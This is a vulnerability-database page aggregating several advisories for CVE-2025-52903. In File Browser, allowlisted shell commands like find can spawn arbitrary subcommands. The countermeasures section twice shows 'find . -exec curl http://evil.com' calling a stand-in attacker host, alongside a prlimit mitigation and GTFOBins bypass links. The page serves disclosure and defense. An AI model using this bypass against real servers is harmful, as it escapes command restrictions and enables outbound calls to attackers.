CVE-2025-52903
File Browser Allows Execution of Shell Commands That Can Spawn Other Commands
File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, preview, rename and edit files. In versions on the 2.x branch prior to 2.33.10, the Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void. The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process. Version 2.33.10 contains a check for whether a command is allowed when using shell.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- High
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.0
File Browser Allows Execution of Shell Commands That Can Spawn Other Commands
File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, preview, rename and edit files. In versions on the 2.x branch prior to 2.33.10, the Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void. The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process. Version 2.33.10 contains a check for whether a command is allowed when using shell.
- Record
CVE-2025-52903- CVSS 3.1
- 8.0 High
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
EUVDEUVD-2025-19238
8.0
File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, preview, rename and edit files. In versions on the 2.x branch prior to 2.33.10, the Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void. The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process. Version 2.33.10 contains a check for whether a command is allowed when using shell.
- Record
EUVD-2025-19238- CVSS 3.1
- 8.0 High
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-3q2w-42mv-cph4
8.0
filebrowser Allows Shell Commands to Spawn Other Commands
[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.
For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.
Summary
The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.
Impact
The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.
Vulnerability Description
Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find command and nothing else, this restriction can be circumvented by using the -exec flag.
Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website https://gtfobins.github.io gives a comprehensive overview:
- https://gtfobins.github.io/gtfobins/cpio
- https://gtfobins.github.io/gtfobins/find
- https://gtfobins.github.io/gtfobins/sed
- https://gtfobins.github.io/gtfobins/git
- https://gtfobins.github.io/gtfobins/env
As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.
Proof of Concept
The following screenshot demonstrates, how this can be used to issue a network call to an external server:
Recommended Countermeasures
Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.
The prlimit command can be used to prevent the execution of subcommands:
$ find . -exec curl http://evil.com {} \;
<HTML>
<HEAD>
[...]
$ prlimit --nproc=0 find . -exec curl http://evil.com {} \;
find: cannot fork: Resource temporarily unavailable
It should be prepended to any command executed in the context of the application. prlimit can be used for containerized deployments as well as for bare-metal ones.
WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the find command can also delete files directly via its -delete flag.
As a defense-in-depth measure, Filebrowser should provide an additional container image based on a distroless base image.
Timeline
2025-03-26Identified the vulnerability in version 2.32.02025-06-25Uploaded advisories to the project's GitHub repository2025-06-25CVE ID assigned by GitHub2025-06-25A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.
References
- prlimit
- ["Distroless" Container…
- Record
GHSA-3q2w-42mv-cph4- CVSS 3.1
- 8.0 High
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-77, CWE-88, CWE-183, CWE-749
- Updated
- 2026-11-02
NVD
8.0
File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, preview, rename and edit files. In versions on the 2.x branch prior to 2.33.10, the Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void. The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process. Version 2.33.10 contains a check for whether a command is allowed when using shell.
- Record
CVE-2025-52903- CVSS 3.1
- 8.0 High
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
OSV
8.0
File Browser Allows Execution of Shell Commands That Can Spawn Other Commands
File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, preview, rename and edit files. In versions on the 2.x branch prior to 2.33.10, the Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void. The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process. Version 2.33.10 contains a check for whether a command is allowed when using shell.
- Record
CVE-2025-52903- CVSS 3.1
- 8.0 High
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
OSVGHSA-3q2w-42mv-cph4
8.0
filebrowser Allows Shell Commands to Spawn Other Commands
[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.
For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.
Summary
The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.
Impact
The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.
Vulnerability Description
Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find command and nothing else, this restriction can be circumvented by using the -exec flag.
Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website https://gtfobins.github.io gives a comprehensive overview:
- https://gtfobins.github.io/gtfobins/cpio
- https://gtfobins.github.io/gtfobins/find
- https://gtfobins.github.io/gtfobins/sed
- https://gtfobins.github.io/gtfobins/git
- https://gtfobins.github.io/gtfobins/env
As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.
Proof of Concept
The following screenshot demonstrates, how this can be used to issue a network call to an external server:
Recommended Countermeasures
Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.
The prlimit command can be used to prevent the execution of subcommands:
$ find . -exec curl http://evil.com {} \;
<HTML>
<HEAD>
[...]
$ prlimit --nproc=0 find . -exec curl http://evil.com {} \;
find: cannot fork: Resource temporarily unavailable
It should be prepended to any command executed in the context of the application. prlimit can be used for containerized deployments as well as for bare-metal ones.
WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the find command can also delete files directly via its -delete flag.
As a defense-in-depth measure, Filebrowser should provide an additional container image based on a distroless base image.
Timeline
2025-03-26Identified the vulnerability in version 2.32.02025-06-25Uploaded advisories to the project's GitHub repository2025-06-25CVE ID assigned by GitHub2025-06-25A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.
References
- prlimit
- ["Distroless" Container…
- Record
GHSA-3q2w-42mv-cph4- CVSS 3.1
- 8.0 High
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-183, CWE-749, CWE-77, CWE-88
- Updated
- 2026-11-02
OSVGO-2025-3786 No score
filebrowser Allows Shell Commands to Spawn Other Commands in github.com/filebrowser/filebrowser
filebrowser Allows Shell Commands to Spawn Other Commands in github.com/filebrowser/filebrowser
- Record
GO-2025-3786- Updated
- 2026-11-02
OSVopenSUSE-SU-2025:15405-1 No score
govulncheck-vulndb-0.0.20250730T213748-1.1 on GA media
These are all security issues fixed in the govulncheck-vulndb-0.0.20250730T213748-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2025:15405-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/filebrowser/filebrowser/v2Go |
before 2.33.10 | 2.33.10 |
github.com/filebrowser/filebrowserGo |
All versions | None known |
govulncheck-vulndbopenSUSE:Tumbleweed From an advisory covering 56 CVEs |
before 0.0.20250730T213748-1.1 | 0.0.20250730T213748-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-52903 is a high vulnerability (CVSS 8.0) in Filebrowser, published June 26, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.21%, the 68th percentile. Fixed in github.com/filebrowser/filebrowser/v2 2.33.10.
References
github.com/filebrowser/filebrowser/security/advisories/GHSA-3q2w-42mv-cph4
github.com/filebrowser/filebrowser/issues/5199
github.com/filebrowser/filebrowser/commit/4d830f707fc4314741fd431e70c2ce50cd5a3108
github.com/GoogleContainerTools/distroless
github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250326-02_Filebrowser_Shell_Commands_Can_Spawn_Other_Commands
manpages.debian.org/bookworm/util-linux/prlimit.1.en.html
Show 61 moreShow less
pkg.go.dev/vuln/GO-2025-3786
nvd.nist.gov/vuln/detail/CVE-2025-52903
github.com/advisories/GHSA-3q2w-42mv-cph4
github.com/CVEProject/cvelistV5/tree/main/cves/2025/52xxx/CVE-2025-52903.json
github.com/filebrowser/filebrowser
suse.com/security/cve/CVE-2024-44905
suse.com/security/cve/CVE-2024-44906
suse.com/security/cve/CVE-2024-56731
suse.com/security/cve/CVE-2025-0928
suse.com/security/cve/CVE-2025-1088
suse.com/security/cve/CVE-2025-30086
suse.com/security/cve/CVE-2025-32019
suse.com/security/cve/CVE-2025-3227
suse.com/security/cve/CVE-2025-3228
suse.com/security/cve/CVE-2025-3415
suse.com/security/cve/CVE-2025-4563
suse.com/security/cve/CVE-2025-4656
suse.com/security/cve/CVE-2025-46702
suse.com/security/cve/CVE-2025-4674
suse.com/security/cve/CVE-2025-47281
suse.com/security/cve/CVE-2025-47871
suse.com/security/cve/CVE-2025-47943
suse.com/security/cve/CVE-2025-4922
suse.com/security/cve/CVE-2025-4981
suse.com/security/cve/CVE-2025-49825
suse.com/security/cve/CVE-2025-5030
suse.com/security/cve/CVE-2025-51471
suse.com/security/cve/CVE-2025-52477
suse.com/security/cve/CVE-2025-52889
suse.com/security/cve/CVE-2025-52890
suse.com/security/cve/CVE-2025-52893
suse.com/security/cve/CVE-2025-52894
suse.com/security/cve/CVE-2025-52900
suse.com/security/cve/CVE-2025-52901
suse.com/security/cve/CVE-2025-52902
suse.com/security/cve/CVE-2025-52903
suse.com/security/cve/CVE-2025-52904
suse.com/security/cve/CVE-2025-52995
suse.com/security/cve/CVE-2025-52996
suse.com/security/cve/CVE-2025-52997
suse.com/security/cve/CVE-2025-53512
suse.com/security/cve/CVE-2025-53513
suse.com/security/cve/CVE-2025-53547
suse.com/security/cve/CVE-2025-53632
suse.com/security/cve/CVE-2025-53633
suse.com/security/cve/CVE-2025-53634
suse.com/security/cve/CVE-2025-53826
suse.com/security/cve/CVE-2025-53893
suse.com/security/cve/CVE-2025-53945
suse.com/security/cve/CVE-2025-54059
suse.com/security/cve/CVE-2025-54379
suse.com/security/cve/CVE-2025-5689
suse.com/security/cve/CVE-2025-5981
suse.com/security/cve/CVE-2025-6023
suse.com/security/cve/CVE-2025-6032
suse.com/security/cve/CVE-2025-6224
suse.com/security/cve/CVE-2025-6226
suse.com/security/cve/CVE-2025-6227
suse.com/security/cve/CVE-2025-6233
suse.com/security/cve/CVE-2025-6264
suse.com/security/cve/CVE-2025-6624
Left out here: the rest of 2 source descriptions. The JSON record has them.